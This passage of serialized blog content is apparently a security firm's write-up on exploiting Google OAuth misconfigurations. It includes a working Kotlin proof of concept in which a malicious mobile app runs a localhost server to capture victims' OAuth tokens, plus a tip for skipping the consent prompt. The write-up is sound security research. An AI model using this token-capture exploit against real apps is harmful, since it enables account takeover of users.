Lavamoat",{"id":102937,"depth":182,"text":102940},{"id":103141,"depth":157,"text":103144},{"id":79304,"depth":157,"text":79307},"content:blog:2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks.md","blog/2025-09-13-how-to-survive-supply-chain-attacks",{"_path":103209,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":103210,"description":103211,"date":103212,"author":103213,"image":103214,"isFeatured":15,"onBlogPage":15,"tags":103216,"body":103219,"_type":6912,"_id":105550,"_source":6914,"_file":105551,"_stem":105552,"_extension":6917},"/blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations","How We Broke Exchanges: A Deep Dive Into Authentication And Client-Side Bugs","OAuth misconfigurations show how common dev settings can lead to account takeovers. Explore real cases where failing to account for differences between desktop and mobile environments left SDKs, exchanges, and wallets vulnerable to exploits.","2025-10-16T12:00:00.000Z",[35197,35196],{"src":103215,"width":100775,"height":17626},"/posts/oauth-misconfigurations/title.png",[103217,103218],"oAuth","exchanges",{"type":19,"children":103220,"toc":105537},[103221,103227,103232,103238,103258,103264,103269,103282,103287,103295,103309,103318,103327,103341,103349,103360,103420,103426,103438,103487,103493,103498,103511,103518,103529,103549,103568,103589,103595,103608,103613,103619,103638,104263,104268,104281,105142,105147,105152,105158,105163,105169,105174,105187,105227,105233,105246,105251,105284,105289,105294,105319,105324,105336,105493,105498,105502,105514,105519,105523,105528,105533],{"type":22,"tag":53,"props":103222,"children":103224},{"id":103223},"exploiting-oauth",[103225],{"type":27,"value":103226},"Exploiting OAuth",{"type":22,"tag":23,"props":103228,"children":103229},{},[103230],{"type":27,"value":103231},"Our main research focus was related to recent vulnerabilities we found in some of our audits. One common issue we find is related to OAuth misconfigurations that can be exploited to achieve account takeover. To understand the vulnerability and the exploit itself, we first need to dig into the different OAuth flows and the configurations that can be made in the Google Cloud Console.",{"type":22,"tag":1760,"props":103233,"children":103235},{"id":103234},"google-authentication-flows",[103236],{"type":27,"value":103237},"Google Authentication Flows",{"type":22,"tag":23,"props":103239,"children":103240},{},[103241,103243,103249,103251,103256],{"type":27,"value":103242},"During our research, we identified various Google Authentication flows that require different exploitation methods. The new/most recent flow is called GSI, which mainly uses ",{"type":22,"tag":30,"props":103244,"children":103246},{"className":103245},[],[103247],{"type":27,"value":103248},"postMessage",{"type":27,"value":103250}," for communication with the Relying Party (RP), and the old one mostly uses ",{"type":22,"tag":30,"props":103252,"children":103254},{"className":103253},[],[103255],{"type":27,"value":73270},{"type":27,"value":103257}," to send the token back to the RP.",{"type":22,"tag":22883,"props":103259,"children":103261},{"id":103260},"gsi-new-flow",[103262],{"type":27,"value":103263},"GSI (New Flow)",{"type":22,"tag":23,"props":103265,"children":103266},{},[103267],{"type":27,"value":103268},"The GSI flow also has two ways to authenticate the user to the RP:",{"type":22,"tag":6839,"props":103270,"children":103271},{},[103272,103277],{"type":22,"tag":6832,"props":103273,"children":103274},{},[103275],{"type":27,"value":103276},"Using FedCM API",{"type":22,"tag":6832,"props":103278,"children":103279},{},[103280],{"type":27,"value":103281},"Without using FedCM API",{"type":22,"tag":23,"props":103283,"children":103284},{},[103285],{"type":27,"value":103286},"FedCM (Federated Credentials Manager) is a new browser API that lets users authenticate natively to an RP using a third-party IdP.",{"type":22,"tag":23,"props":103288,"children":103289},{},[103290],{"type":22,"tag":9370,"props":103291,"children":103292},{},[103293],{"type":27,"value":103294},"FedCM Method",{"type":22,"tag":23,"props":103296,"children":103297},{},[103298,103300,103307],{"type":27,"value":103299},"The FedCM method basically follows this ",{"type":22,"tag":80,"props":103301,"children":103304},{"href":103302,"rel":103303},"https://privacysandbox.google.com/cookies/fedcm/why#user-interaction",[84],[103305],{"type":27,"value":103306},"user experience",{"type":27,"value":103308},". Users can log in by clicking a login button (which will open a \"choose your account\" prompt window) or by 1-tap UX (see images below).",{"type":22,"tag":23,"props":103310,"children":103311},{},[103312,103314],{"type":27,"value":103313},"The normal flow, clicking the \"sign in\" button:\n",{"type":22,"tag":7959,"props":103315,"children":103317},{"alt":54574,"src":103316},"/posts/oauth-misconfigurations/image1.png",[],{"type":22,"tag":23,"props":103319,"children":103320},{},[103321,103323],{"type":27,"value":103322},"One-Tap popup shown when you open the page:\n",{"type":22,"tag":7959,"props":103324,"children":103326},{"alt":54574,"src":103325},"/posts/oauth-misconfigurations/image2.png",[],{"type":22,"tag":23,"props":103328,"children":103329},{},[103330,103332,103339],{"type":27,"value":103331},"Both flows use FedCM API to authenticate using Google IdP service, which makes some CORS requests to the IdP server to return the token. After authenticating the first time, when the user returns to the same website after some time, it is possible to automatically reauthenticate using ",{"type":22,"tag":80,"props":103333,"children":103336},{"href":103334,"rel":103335},"https://github.com/w3c-fedid/FedCM/issues/429",[84],[103337],{"type":27,"value":103338},"FedCM auto-reauthentication",{"type":27,"value":103340},", which has certain preconditions that must be met.",{"type":22,"tag":23,"props":103342,"children":103343},{},[103344],{"type":22,"tag":9370,"props":103345,"children":103346},{},[103347],{"type":27,"value":103348},"Non-FedCM Method",{"type":22,"tag":23,"props":103350,"children":103351},{},[103352,103354,103359],{"type":27,"value":103353},"This method uses a popup window (or iframe) to open the Google OAuth consent page and return the token via ",{"type":22,"tag":30,"props":103355,"children":103357},{"className":103356},[],[103358],{"type":27,"value":103248},{"type":27,"value":169},{"type":22,"tag":6828,"props":103361,"children":103362},{},[103363,103368,103392,103397,103408],{"type":22,"tag":6832,"props":103364,"children":103365},{},[103366],{"type":27,"value":103367},"The user clicks the sign in button",{"type":22,"tag":6832,"props":103369,"children":103370},{},[103371,103373,103379,103381,103386,103387],{"type":27,"value":103372},"RP opens a popup/iframe to ",{"type":22,"tag":80,"props":103374,"children":103377},{"href":103375,"rel":103376},"https://accounts.google.com/o/oauth2/v2/auth",[84],[103378],{"type":27,"value":103375},{"type":27,"value":103380}," with some important parameters like ",{"type":22,"tag":30,"props":103382,"children":103384},{"className":103383},[],[103385],{"type":27,"value":73102},{"type":27,"value":209},{"type":22,"tag":30,"props":103388,"children":103390},{"className":103389},[],[103391],{"type":27,"value":44130},{"type":22,"tag":6832,"props":103393,"children":103394},{},[103395],{"type":27,"value":103396},"The user clicks the \"Continue\" button to authorize authentication",{"type":22,"tag":6832,"props":103398,"children":103399},{},[103400,103402],{"type":27,"value":103401},"They get redirected to ",{"type":22,"tag":80,"props":103403,"children":103406},{"href":103404,"rel":103405},"https://accounts.google.com/gsi/transform",[84],[103407],{"type":27,"value":103404},{"type":22,"tag":6832,"props":103409,"children":103410},{},[103411,103413,103418],{"type":27,"value":103412},"/gsi/transform sends the token back to the RP via ",{"type":22,"tag":30,"props":103414,"children":103416},{"className":103415},[],[103417],{"type":27,"value":103248},{"type":27,"value":103419}," (after some SYN/ACK messages)",{"type":22,"tag":22883,"props":103421,"children":103423},{"id":103422},"oauth-20-old-flow",[103424],{"type":27,"value":103425},"OAuth 2.0 Old Flow",{"type":22,"tag":23,"props":103427,"children":103428},{},[103429,103431,103436],{"type":27,"value":103430},"The old flow also redirects the user to the Google OAuth consent page and then returns the token via a ",{"type":22,"tag":30,"props":103432,"children":103434},{"className":103433},[],[103435],{"type":27,"value":73270},{"type":27,"value":103437}," provided in the URL and validated by a whitelist configuration:",{"type":22,"tag":6828,"props":103439,"children":103440},{},[103441,103445,103466,103470],{"type":22,"tag":6832,"props":103442,"children":103443},{},[103444],{"type":27,"value":103367},{"type":22,"tag":6832,"props":103446,"children":103447},{},[103448,103449,103454,103455,103460,103461],{"type":27,"value":103372},{"type":22,"tag":80,"props":103450,"children":103452},{"href":103375,"rel":103451},[84],[103453],{"type":27,"value":103375},{"type":27,"value":103380},{"type":22,"tag":30,"props":103456,"children":103458},{"className":103457},[],[103459],{"type":27,"value":73102},{"type":27,"value":209},{"type":22,"tag":30,"props":103462,"children":103464},{"className":103463},[],[103465],{"type":27,"value":73270},{"type":22,"tag":6832,"props":103467,"children":103468},{},[103469],{"type":27,"value":103396},{"type":22,"tag":6832,"props":103471,"children":103472},{},[103473,103474,103479,103481],{"type":27,"value":103401},{"type":22,"tag":30,"props":103475,"children":103477},{"className":103476},[],[103478],{"type":27,"value":73270},{"type":27,"value":103480}," with the token in the query parameters or ",{"type":22,"tag":30,"props":103482,"children":103484},{"className":103483},[],[103485],{"type":27,"value":103486},"location.hash",{"type":22,"tag":22883,"props":103488,"children":103490},{"id":103489},"different-configurations",[103491],{"type":27,"value":103492},"Different Configurations",{"type":22,"tag":23,"props":103494,"children":103495},{},[103496],{"type":27,"value":103497},"These two flows must be configured differently in the Google Cloud Console. There are two whitelist configurations that we can control:",{"type":22,"tag":6839,"props":103499,"children":103500},{},[103501,103506],{"type":22,"tag":6832,"props":103502,"children":103503},{},[103504],{"type":27,"value":103505},"Authorized origins",{"type":22,"tag":6832,"props":103507,"children":103508},{},[103509],{"type":27,"value":103510},"Authorized redirect URIs",{"type":22,"tag":23,"props":103512,"children":103513},{},[103514],{"type":22,"tag":7959,"props":103515,"children":103517},{"alt":54574,"src":103516},"/posts/oauth-misconfigurations/image3.png",[],{"type":22,"tag":23,"props":103519,"children":103520},{},[103521,103523,103528],{"type":27,"value":103522},"The described GSI flow doesn't use any redirection to send the token back to the RP, so the authorized redirect URI is not that important in the GSI flow. It uses the authorized origins to verify if the RP page is actually allowed to be authenticated using that ",{"type":22,"tag":30,"props":103524,"children":103526},{"className":103525},[],[103527],{"type":27,"value":73102},{"type":27,"value":231},{"type":22,"tag":23,"props":103530,"children":103531},{},[103532,103534,103540,103542,103547],{"type":27,"value":103533},"The actual verification in the GSI flow happens in the CORS requests made by FedCM or in ",{"type":22,"tag":30,"props":103535,"children":103537},{"className":103536},[],[103538],{"type":27,"value":103539},"/oauth2/v2/auth",{"type":27,"value":103541}," by checking the ",{"type":22,"tag":30,"props":103543,"children":103545},{"className":103544},[],[103546],{"type":27,"value":44130},{"type":27,"value":103548}," query parameter.",{"type":22,"tag":23,"props":103550,"children":103551},{},[103552,103554,103559,103561,103566],{"type":27,"value":103553},"In the old flow, the ",{"type":22,"tag":30,"props":103555,"children":103557},{"className":103556},[],[103558],{"type":27,"value":73270},{"type":27,"value":103560}," parameter passed in the ",{"type":22,"tag":30,"props":103562,"children":103564},{"className":103563},[],[103565],{"type":27,"value":103539},{"type":27,"value":103567}," endpoint is validated against the authorized redirect URIs.",{"type":22,"tag":23,"props":103569,"children":103570},{},[103571,103573,103578,103580,103587],{"type":27,"value":103572},"Note that the new GSI flow can also have a different flow using ",{"type":22,"tag":30,"props":103574,"children":103576},{"className":103575},[],[103577],{"type":27,"value":73270},{"type":27,"value":103579}," validation. To execute this flow, you need to specify ",{"type":22,"tag":80,"props":103581,"children":103584},{"href":103582,"rel":103583},"https://developers.google.com/identity/gsi/web/reference/js-reference#login_uri",[84],[103585],{"type":27,"value":103586},"login_uri",{"type":27,"value":103588}," while using the SDK.",{"type":22,"tag":1760,"props":103590,"children":103592},{"id":103591},"localhost-exploit",[103593],{"type":27,"value":103594},"Localhost Exploit",{"type":22,"tag":23,"props":103596,"children":103597},{},[103598,103600,103606],{"type":27,"value":103599},"During one of our audits, we found a bug related to how developers test the OAuth flow in their development environment. Developers often whitelist the ",{"type":22,"tag":30,"props":103601,"children":103603},{"className":103602},[],[103604],{"type":27,"value":103605},"localhost",{"type":27,"value":103607}," origin because it is considered trusted for local testing.",{"type":22,"tag":23,"props":103609,"children":103610},{},[103611],{"type":27,"value":103612},"Actually, this is partially true, as it depends on which security assumptions you make. This can be an issue in a mobile environment, as mobile apps can open localhost webservers without many permissions, and having a malicious app installed is not considered a significant issue on mobile since all applications are sandboxed. This configuration allows a malicious application to \"escape\" the sandbox and attack another system.",{"type":22,"tag":22883,"props":103614,"children":103616},{"id":103615},"exploit",[103617],{"type":27,"value":103618},"Exploit",{"type":22,"tag":23,"props":103620,"children":103621},{},[103622,103624,103629,103630,103636],{"type":27,"value":103623},"To exploit this misconfiguration, we first needed to understand the OAuth flow used by the target. If the OAuth implementation follows a standard flow without using Google Sign-In (GSI), we can extract the token via ",{"type":22,"tag":30,"props":103625,"children":103627},{"className":103626},[],[103628],{"type":27,"value":103486},{"type":27,"value":17136},{"type":22,"tag":30,"props":103631,"children":103633},{"className":103632},[],[103634],{"type":27,"value":103635},"location.search",{"type":27,"value":103637},". To achieve this, we developed a Kotlin application that spins up a local web server:",{"type":22,"tag":91,"props":103639,"children":103643},{"className":103640,"code":103641,"language":103642,"meta":7,"style":7},"language-kt shiki shiki-themes slack-dark"," override fun onCreate(savedInstanceState: Bundle?){\n super.onCreate(savedInstanceState)\n\n // Start the Ktor web server\n CoroutineScope(Dispatchers.IO).launch {\n try {\n startWebServer()\n Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n } catch (e: Exception) {\n Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n }\n }\n\n // Open the Google OAuth page\n val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n startActivity(browserIntent)\n }\n\n private fun startWebServer() {\n embeddedServer(CIO, port = 3000) {\n routing {\n get(\"{...}\") {\n call.respondHtml {\n head {\n meta(charset = \"UTF-8\")\n meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n title(\"OAuth Redirect\")\n }\n body {\n h1 { +\"Google OAuth Redirect\" }\n script {\n +\"document.body.innerText = location.hash;\"\n }\n }\n }\n }\n }\n }.start(wait = true)\n }\n","kt",[103644],{"type":22,"tag":30,"props":103645,"children":103646},{"__ignoreMap":7},[103647,103676,103695,103702,103709,103728,103739,103750,103781,103804,103851,103858,103865,103872,103879,103899,103930,103941,103948,103955,103974,103997,104008,104027,104042,104053,104076,104111,104130,104137,104148,104171,104182,104194,104201,104208,104215,104222,104229,104256],{"type":22,"tag":101,"props":103648,"children":103649},{"class":103,"line":104},[103650,103655,103659,103663,103667,103671],{"type":22,"tag":101,"props":103651,"children":103652},{"style":108},[103653],{"type":27,"value":103654}," override",{"type":22,"tag":101,"props":103656,"children":103657},{"style":108},[103658],{"type":27,"value":826},{"type":22,"tag":101,"props":103660,"children":103661},{"style":926},[103662],{"type":27,"value":73958},{"type":22,"tag":101,"props":103664,"children":103665},{"style":120},[103666],{"type":27,"value":73963},{"type":22,"tag":101,"props":103668,"children":103669},{"style":114},[103670],{"type":27,"value":73968},{"type":22,"tag":101,"props":103672,"children":103673},{"style":120},[103674],{"type":27,"value":103675},"?){\n",{"type":22,"tag":101,"props":103677,"children":103678},{"class":103,"line":157},[103679,103683,103687,103691],{"type":22,"tag":101,"props":103680,"children":103681},{"style":108},[103682],{"type":27,"value":73981},{"type":22,"tag":101,"props":103684,"children":103685},{"style":120},[103686],{"type":27,"value":231},{"type":22,"tag":101,"props":103688,"children":103689},{"style":926},[103690],{"type":27,"value":73990},{"type":22,"tag":101,"props":103692,"children":103693},{"style":120},[103694],{"type":27,"value":73995},{"type":22,"tag":101,"props":103696,"children":103697},{"class":103,"line":182},[103698],{"type":22,"tag":101,"props":103699,"children":103700},{"emptyLinePlaceholder":15},[103701],{"type":27,"value":1581},{"type":22,"tag":101,"props":103703,"children":103704},{"class":103,"line":367},[103705],{"type":22,"tag":101,"props":103706,"children":103707},{"style":2215},[103708],{"type":27,"value":74010},{"type":22,"tag":101,"props":103710,"children":103711},{"class":103,"line":398},[103712,103716,103720,103724],{"type":22,"tag":101,"props":103713,"children":103714},{"style":926},[103715],{"type":27,"value":74018},{"type":22,"tag":101,"props":103717,"children":103718},{"style":120},[103719],{"type":27,"value":74023},{"type":22,"tag":101,"props":103721,"children":103722},{"style":926},[103723],{"type":27,"value":74028},{"type":22,"tag":101,"props":103725,"children":103726},{"style":120},[103727],{"type":27,"value":154},{"type":22,"tag":101,"props":103729,"children":103730},{"class":103,"line":428},[103731,103735],{"type":22,"tag":101,"props":103732,"children":103733},{"style":3595},[103734],{"type":27,"value":74040},{"type":22,"tag":101,"props":103736,"children":103737},{"style":120},[103738],{"type":27,"value":154},{"type":22,"tag":101,"props":103740,"children":103741},{"class":103,"line":997},[103742,103746],{"type":22,"tag":101,"props":103743,"children":103744},{"style":926},[103745],{"type":27,"value":74052},{"type":22,"tag":101,"props":103747,"children":103748},{"style":120},[103749],{"type":27,"value":11746},{"type":22,"tag":101,"props":103751,"children":103752},{"class":103,"line":1032},[103753,103757,103761,103765,103769,103773,103777],{"type":22,"tag":101,"props":103754,"children":103755},{"style":120},[103756],{"type":27,"value":74064},{"type":22,"tag":101,"props":103758,"children":103759},{"style":926},[103760],{"type":27,"value":74069},{"type":22,"tag":101,"props":103762,"children":103763},{"style":120},[103764],{"type":27,"value":980},{"type":22,"tag":101,"props":103766,"children":103767},{"style":6476},[103768],{"type":27,"value":74078},{"type":22,"tag":101,"props":103770,"children":103771},{"style":120},[103772],{"type":27,"value":758},{"type":22,"tag":101,"props":103774,"children":103775},{"style":6476},[103776],{"type":27,"value":74087},{"type":22,"tag":101,"props":103778,"children":103779},{"style":120},[103780],{"type":27,"value":2510},{"type":22,"tag":101,"props":103782,"children":103783},{"class":103,"line":1063},[103784,103788,103792,103796,103800],{"type":22,"tag":101,"props":103785,"children":103786},{"style":120},[103787],{"type":27,"value":74099},{"type":22,"tag":101,"props":103789,"children":103790},{"style":108},[103791],{"type":27,"value":52408},{"type":22,"tag":101,"props":103793,"children":103794},{"style":120},[103795],{"type":27,"value":74108},{"type":22,"tag":101,"props":103797,"children":103798},{"style":114},[103799],{"type":27,"value":74113},{"type":22,"tag":101,"props":103801,"children":103802},{"style":120},[103803],{"type":27,"value":1463},{"type":22,"tag":101,"props":103805,"children":103806},{"class":103,"line":1071},[103807,103811,103815,103819,103823,103827,103831,103835,103839,103843,103847],{"type":22,"tag":101,"props":103808,"children":103809},{"style":120},[103810],{"type":27,"value":74064},{"type":22,"tag":101,"props":103812,"children":103813},{"style":926},[103814],{"type":27,"value":55450},{"type":22,"tag":101,"props":103816,"children":103817},{"style":120},[103818],{"type":27,"value":980},{"type":22,"tag":101,"props":103820,"children":103821},{"style":6476},[103822],{"type":27,"value":74078},{"type":22,"tag":101,"props":103824,"children":103825},{"style":120},[103826],{"type":27,"value":758},{"type":22,"tag":101,"props":103828,"children":103829},{"style":6476},[103830],{"type":27,"value":74145},{"type":22,"tag":101,"props":103832,"children":103833},{"style":108},[103834],{"type":27,"value":38104},{"type":22,"tag":101,"props":103836,"children":103837},{"style":166},[103838],{"type":27,"value":74154},{"type":22,"tag":101,"props":103840,"children":103841},{"style":108},[103842],{"type":27,"value":38136},{"type":22,"tag":101,"props":103844,"children":103845},{"style":6476},[103846],{"type":27,"value":24051},{"type":22,"tag":101,"props":103848,"children":103849},{"style":120},[103850],{"type":27,"value":74167},{"type":22,"tag":101,"props":103852,"children":103853},{"class":103,"line":1110},[103854],{"type":22,"tag":101,"props":103855,"children":103856},{"style":120},[103857],{"type":27,"value":62882},{"type":22,"tag":101,"props":103859,"children":103860},{"class":103,"line":1118},[103861],{"type":22,"tag":101,"props":103862,"children":103863},{"style":120},[103864],{"type":27,"value":2398},{"type":22,"tag":101,"props":103866,"children":103867},{"class":103,"line":1158},[103868],{"type":22,"tag":101,"props":103869,"children":103870},{"emptyLinePlaceholder":15},[103871],{"type":27,"value":1581},{"type":22,"tag":101,"props":103873,"children":103874},{"class":103,"line":1166},[103875],{"type":22,"tag":101,"props":103876,"children":103877},{"style":2215},[103878],{"type":27,"value":74196},{"type":22,"tag":101,"props":103880,"children":103881},{"class":103,"line":1215},[103882,103886,103890,103894],{"type":22,"tag":101,"props":103883,"children":103884},{"style":108},[103885],{"type":27,"value":74204},{"type":22,"tag":101,"props":103887,"children":103888},{"style":120},[103889],{"type":27,"value":74209},{"type":22,"tag":101,"props":103891,"children":103892},{"style":166},[103893],{"type":27,"value":1511},{"type":22,"tag":101,"props":103895,"children":103896},{"style":6476},[103897],{"type":27,"value":103898}," \"https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?client_id=redacted&redirect_uri=http://localhost:3000/auth/index.html&response_type=id_token&scope=email&nonce=redacted&prompt=select_account&service=lso&o2v=2&flowName=GeneralOAuthFlow\"\n",{"type":22,"tag":101,"props":103900,"children":103901},{"class":103,"line":2425},[103902,103906,103910,103914,103918,103922,103926],{"type":22,"tag":101,"props":103903,"children":103904},{"style":108},[103905],{"type":27,"value":74204},{"type":22,"tag":101,"props":103907,"children":103908},{"style":120},[103909],{"type":27,"value":74230},{"type":22,"tag":101,"props":103911,"children":103912},{"style":166},[103913],{"type":27,"value":1511},{"type":22,"tag":101,"props":103915,"children":103916},{"style":926},[103917],{"type":27,"value":74239},{"type":22,"tag":101,"props":103919,"children":103920},{"style":120},[103921],{"type":27,"value":74244},{"type":22,"tag":101,"props":103923,"children":103924},{"style":926},[103925],{"type":27,"value":43206},{"type":22,"tag":101,"props":103927,"children":103928},{"style":120},[103929],{"type":27,"value":74253},{"type":22,"tag":101,"props":103931,"children":103932},{"class":103,"line":5417},[103933,103937],{"type":22,"tag":101,"props":103934,"children":103935},{"style":926},[103936],{"type":27,"value":74261},{"type":22,"tag":101,"props":103938,"children":103939},{"style":120},[103940],{"type":27,"value":74266},{"type":22,"tag":101,"props":103942,"children":103943},{"class":103,"line":7714},[103944],{"type":22,"tag":101,"props":103945,"children":103946},{"style":120},[103947],{"type":27,"value":1734},{"type":22,"tag":101,"props":103949,"children":103950},{"class":103,"line":7723},[103951],{"type":22,"tag":101,"props":103952,"children":103953},{"emptyLinePlaceholder":15},[103954],{"type":27,"value":1581},{"type":22,"tag":101,"props":103956,"children":103957},{"class":103,"line":7791},[103958,103962,103966,103970],{"type":22,"tag":101,"props":103959,"children":103960},{"style":108},[103961],{"type":27,"value":74288},{"type":22,"tag":101,"props":103963,"children":103964},{"style":108},[103965],{"type":27,"value":826},{"type":22,"tag":101,"props":103967,"children":103968},{"style":926},[103969],{"type":27,"value":74297},{"type":22,"tag":101,"props":103971,"children":103972},{"style":120},[103973],{"type":27,"value":19734},{"type":22,"tag":101,"props":103975,"children":103976},{"class":103,"line":7799},[103977,103981,103985,103989,103993],{"type":22,"tag":101,"props":103978,"children":103979},{"style":926},[103980],{"type":27,"value":74309},{"type":22,"tag":101,"props":103982,"children":103983},{"style":120},[103984],{"type":27,"value":74314},{"type":22,"tag":101,"props":103986,"children":103987},{"style":166},[103988],{"type":27,"value":1511},{"type":22,"tag":101,"props":103990,"children":103991},{"style":1544},[103992],{"type":27,"value":74323},{"type":22,"tag":101,"props":103994,"children":103995},{"style":120},[103996],{"type":27,"value":1463},{"type":22,"tag":101,"props":103998,"children":103999},{"class":103,"line":7829},[104000,104004],{"type":22,"tag":101,"props":104001,"children":104002},{"style":926},[104003],{"type":27,"value":74335},{"type":22,"tag":101,"props":104005,"children":104006},{"style":120},[104007],{"type":27,"value":154},{"type":22,"tag":101,"props":104009,"children":104010},{"class":103,"line":7837},[104011,104015,104019,104023],{"type":22,"tag":101,"props":104012,"children":104013},{"style":108},[104014],{"type":27,"value":74347},{"type":22,"tag":101,"props":104016,"children":104017},{"style":120},[104018],{"type":27,"value":980},{"type":22,"tag":101,"props":104020,"children":104021},{"style":6476},[104022],{"type":27,"value":74356},{"type":22,"tag":101,"props":104024,"children":104025},{"style":120},[104026],{"type":27,"value":1463},{"type":22,"tag":101,"props":104028,"children":104029},{"class":103,"line":7868},[104030,104034,104038],{"type":22,"tag":101,"props":104031,"children":104032},{"style":120},[104033],{"type":27,"value":74368},{"type":22,"tag":101,"props":104035,"children":104036},{"style":926},[104037],{"type":27,"value":74373},{"type":22,"tag":101,"props":104039,"children":104040},{"style":120},[104041],{"type":27,"value":154},{"type":22,"tag":101,"props":104043,"children":104044},{"class":103,"line":7876},[104045,104049],{"type":22,"tag":101,"props":104046,"children":104047},{"style":926},[104048],{"type":27,"value":74385},{"type":22,"tag":101,"props":104050,"children":104051},{"style":120},[104052],{"type":27,"value":154},{"type":22,"tag":101,"props":104054,"children":104055},{"class":103,"line":7936},[104056,104060,104064,104068,104072],{"type":22,"tag":101,"props":104057,"children":104058},{"style":926},[104059],{"type":27,"value":74397},{"type":22,"tag":101,"props":104061,"children":104062},{"style":120},[104063],{"type":27,"value":74402},{"type":22,"tag":101,"props":104065,"children":104066},{"style":166},[104067],{"type":27,"value":1511},{"type":22,"tag":101,"props":104069,"children":104070},{"style":6476},[104071],{"type":27,"value":74411},{"type":22,"tag":101,"props":104073,"children":104074},{"style":120},[104075],{"type":27,"value":2510},{"type":22,"tag":101,"props":104077,"children":104078},{"class":103,"line":13054},[104079,104083,104087,104091,104095,104099,104103,104107],{"type":22,"tag":101,"props":104080,"children":104081},{"style":926},[104082],{"type":27,"value":74397},{"type":22,"tag":101,"props":104084,"children":104085},{"style":120},[104086],{"type":27,"value":74427},{"type":22,"tag":101,"props":104088,"children":104089},{"style":166},[104090],{"type":27,"value":1511},{"type":22,"tag":101,"props":104092,"children":104093},{"style":6476},[104094],{"type":27,"value":74436},{"type":22,"tag":101,"props":104096,"children":104097},{"style":120},[104098],{"type":27,"value":74441},{"type":22,"tag":101,"props":104100,"children":104101},{"style":166},[104102],{"type":27,"value":1511},{"type":22,"tag":101,"props":104104,"children":104105},{"style":6476},[104106],{"type":27,"value":74450},{"type":22,"tag":101,"props":104108,"children":104109},{"style":120},[104110],{"type":27,"value":2510},{"type":22,"tag":101,"props":104112,"children":104113},{"class":103,"line":13072},[104114,104118,104122,104126],{"type":22,"tag":101,"props":104115,"children":104116},{"style":926},[104117],{"type":27,"value":74462},{"type":22,"tag":101,"props":104119,"children":104120},{"style":120},[104121],{"type":27,"value":980},{"type":22,"tag":101,"props":104123,"children":104124},{"style":6476},[104125],{"type":27,"value":74471},{"type":22,"tag":101,"props":104127,"children":104128},{"style":120},[104129],{"type":27,"value":2510},{"type":22,"tag":101,"props":104131,"children":104132},{"class":103,"line":13117},[104133],{"type":22,"tag":101,"props":104134,"children":104135},{"style":120},[104136],{"type":27,"value":74483},{"type":22,"tag":101,"props":104138,"children":104139},{"class":103,"line":13223},[104140,104144],{"type":22,"tag":101,"props":104141,"children":104142},{"style":926},[104143],{"type":27,"value":74491},{"type":22,"tag":101,"props":104145,"children":104146},{"style":120},[104147],{"type":27,"value":154},{"type":22,"tag":101,"props":104149,"children":104150},{"class":103,"line":27496},[104151,104155,104159,104163,104167],{"type":22,"tag":101,"props":104152,"children":104153},{"style":926},[104154],{"type":27,"value":74503},{"type":22,"tag":101,"props":104156,"children":104157},{"style":120},[104158],{"type":27,"value":1479},{"type":22,"tag":101,"props":104160,"children":104161},{"style":166},[104162],{"type":27,"value":8426},{"type":22,"tag":101,"props":104164,"children":104165},{"style":6476},[104166],{"type":27,"value":74516},{"type":22,"tag":101,"props":104168,"children":104169},{"style":120},[104170],{"type":27,"value":13601},{"type":22,"tag":101,"props":104172,"children":104173},{"class":103,"line":27531},[104174,104178],{"type":22,"tag":101,"props":104175,"children":104176},{"style":926},[104177],{"type":27,"value":74528},{"type":22,"tag":101,"props":104179,"children":104180},{"style":120},[104181],{"type":27,"value":154},{"type":22,"tag":101,"props":104183,"children":104184},{"class":103,"line":27539},[104185,104189],{"type":22,"tag":101,"props":104186,"children":104187},{"style":166},[104188],{"type":27,"value":74540},{"type":22,"tag":101,"props":104190,"children":104191},{"style":6476},[104192],{"type":27,"value":104193},"\"document.body.innerText = location.hash;\"\n",{"type":22,"tag":101,"props":104195,"children":104196},{"class":103,"line":27547},[104197],{"type":22,"tag":101,"props":104198,"children":104199},{"style":120},[104200],{"type":27,"value":74553},{"type":22,"tag":101,"props":104202,"children":104203},{"class":103,"line":27556},[104204],{"type":22,"tag":101,"props":104205,"children":104206},{"style":120},[104207],{"type":27,"value":74483},{"type":22,"tag":101,"props":104209,"children":104210},{"class":103,"line":27598},[104211],{"type":22,"tag":101,"props":104212,"children":104213},{"style":120},[104214],{"type":27,"value":74568},{"type":22,"tag":101,"props":104216,"children":104217},{"class":103,"line":27631},[104218],{"type":22,"tag":101,"props":104219,"children":104220},{"style":120},[104221],{"type":27,"value":74576},{"type":22,"tag":101,"props":104223,"children":104224},{"class":103,"line":27639},[104225],{"type":22,"tag":101,"props":104226,"children":104227},{"style":120},[104228],{"type":27,"value":62882},{"type":22,"tag":101,"props":104230,"children":104231},{"class":103,"line":27647},[104232,104236,104240,104244,104248,104252],{"type":22,"tag":101,"props":104233,"children":104234},{"style":120},[104235],{"type":27,"value":74591},{"type":22,"tag":101,"props":104237,"children":104238},{"style":926},[104239],{"type":27,"value":74596},{"type":22,"tag":101,"props":104241,"children":104242},{"style":120},[104243],{"type":27,"value":74601},{"type":22,"tag":101,"props":104245,"children":104246},{"style":166},[104247],{"type":27,"value":1511},{"type":22,"tag":101,"props":104249,"children":104250},{"style":108},[104251],{"type":27,"value":16473},{"type":22,"tag":101,"props":104253,"children":104254},{"style":120},[104255],{"type":27,"value":2510},{"type":22,"tag":101,"props":104257,"children":104258},{"class":103,"line":27656},[104259],{"type":22,"tag":101,"props":104260,"children":104261},{"style":120},[104262],{"type":27,"value":1734},{"type":22,"tag":23,"props":104264,"children":104265},{},[104266],{"type":27,"value":104267},"In this case, the prompt parameter can be omitted from the URL. This way, if the victim is already logged in, the OAuth 2.0 prompt interaction will be skipped.",{"type":22,"tag":23,"props":104269,"children":104270},{},[104271,104273,104279],{"type":27,"value":104272},"If Google Sign-In (GSI) is being used, we found that it's possible to use the ",{"type":22,"tag":30,"props":104274,"children":104276},{"className":104275},[],[104277],{"type":27,"value":104278},"auto_select",{"type":27,"value":104280}," parameter to 